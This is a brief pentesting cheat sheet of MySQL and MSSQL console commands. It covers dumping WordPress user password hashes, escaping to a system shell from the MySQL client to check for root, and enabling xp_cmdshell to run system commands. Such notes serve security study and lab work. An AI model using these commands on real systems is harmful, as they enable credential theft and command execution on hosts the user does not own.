MySQL Interactive console

Commands

show databases;

use mysql;

show tables;

select * from user;

describe wp_users; # or any given table name

Select user_login, user_pass from wp_users

\! /bin/sh # drop to a shell to see if you get root

The user table inside the mysql database is where usernames and passwords are stored

Logging into mysql

mysql -u <username> -p >>>Then you will be prompted for the passwd

activation of xp_cmdshell as follows:

Now we are able to execute system commands:

EXEC sp_configure 'show advanced options', 1;

RECONFIGURE;

sp_configure; - Enabling the sp_configure as stated in the above error message

EXEC sp_configure 'xp_cmdshell', 1;

RECONFIGURE;

Last updated